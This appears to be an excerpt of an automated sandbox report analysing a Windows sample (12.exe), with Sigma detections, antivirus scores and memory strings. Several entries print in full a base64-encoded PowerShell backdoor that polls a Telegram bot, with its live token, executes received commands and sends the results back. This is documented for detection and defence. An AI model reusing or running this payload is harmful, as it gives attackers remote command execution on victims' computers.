gAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQA

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: powershell.exe -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\/file.pdf'; powershell.exe -e 'JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQA

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\/file.pdf'; powershell.exe -e 'JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQA

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7176, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 12.exe	Virustotal: Detection: 16%			Perma Link
Source: 12.exe	ReversingLabs: Detection: 15%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: 12.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\Admin\source\repos\ConsoleApplication5\x64\Release\ConsoleApplication5.pdb" source: 12.exe
Source:	Binary string: mscorlib.pdb -+1 source: powershell.exe, 00000004.00000002.4214181744.000001D5D74C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32 1 source: powershell.exe, 00000004.00000002.4214181744.000001D5D74C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000004.00000002.4214181744.000001D5D74C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Admin\source\repos\ConsoleApplication5\x64\Release\ConsoleApplication5.pdb source: 12.exe

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00007FF767F0AAE0 FindFirstFileExW,

0_2_00007FF767F0AAE0

Source: Joe Sandbox View

IP Address: 149.154.167.220 149.154.167.220

Source: powershell.exe, 00000004.00000002.4155912559.000001D5C10B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C12E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF8E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1191000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C0A86000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF995000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF938000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFA67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C0B43000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFA8A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1117000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF951000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C0CAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFACB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF9B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF9E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C0D84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1095000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1253000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1275000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFA3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: powershell.exe, 00000004.00000002.4214181744.000001D5D74C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 00000004.00000002.4212393855.000001D5D7272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micros
Source: svchost.exe, 00000006.00000002.3406586492.000001FD0B600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.5.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000006.00000003.1768733771.000001FD0B818000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 00000006.00000003.1768733771.000001FD0B818000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000006.00000003.1768733771.000001FD0B818000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000006.00000003.1768733771.000001FD0B818000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000006.00000003.1768733771.000001FD0B84D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.6.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000001.00000002.4155343764.000001A33EBAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.4184547128.000001A34D25A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.4184547128.000001A34D391000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4207742599.000001D5CF392000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4207742599.000001D5CF250000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.4155912559.000001D5BF40C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.4155343764.000001A33D1E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.4155343764.000001A33E6E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000004.00000002.4155912559.000001D5BF40C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 2D85F72862B55C4EADD9E66E06947F3D0.5.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: powershell.exe, 00000001.00000002.4155343764.000001A33D1E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.4155912559.000001D5C0523000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegrP
Source: powershell.exe, 00000004.00000002.4155912559.000001D5C10B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF8E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1191000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C0A86000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1297000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF995000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF938000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFA67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C0B43000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFA8A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1117000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF951000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFACB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF9B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF9E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C0D84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1095000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1253000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1275000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFA3A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFB13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: powershell.exe, 00000004.00000002.4155912559.000001D5BF1E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF40C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: powershell.exe, 00000004.00000002.4155912559.000001D5C0FDA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C0523000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?
Source: powershell.exe, 00000004.00000002.4155912559.000001D5C10B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF8E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1191000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C0A86000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1297000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF995000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFA67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C0B43000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFA8A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1117000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF951000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFACB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF9B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF9E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C0D84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1095000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1253000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1275000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFA3A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFB13000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1053000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=
Source: powershell.exe, 00000004.00000002.4155912559.000001D5C09F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=124
Source: powershell.exe, 00000004.00000002.4155912559.000001D5BF972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=9894443
Source: powershell.exe, 00000004.00000002.4155912559.000001D5BF40C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0P
Source: powershell.exe, 00000004.00000002.4207742599.000001D5CF250000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.4207742599.000001D5CF250000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.4207742599.000001D5CF250000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: qmgr.db.6.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 00000006.00000003.1768733771.000001FD0B856000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: qmgr.db.6.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: qmgr.db.6.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: powershell.exe, 00000004.00000002.4155912559.000001D5BF40C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.4155912559.000001D5BFB23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000001.00000002.4155343764.000001A33EBAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.4184547128.000001A34D25A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.4184547128.000001A34D391000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4207742599.000001D5CF392000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4207742599.000001D5CF250000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: qmgr.db.6.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 00000006.00000003.1768733771.000001FD0B856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: powershell.exe, 00000001.00000002.4155343764.000001A33E6E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000001.00000002.4155343764.000001A33E6E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX

E-Banking Fraud

Malicious encrypted Powershell command line found

